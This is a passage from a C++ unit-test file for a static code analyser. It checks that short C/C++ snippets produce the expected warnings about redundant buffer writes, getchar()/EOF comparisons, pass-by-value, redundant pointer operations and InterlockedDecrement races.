check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" 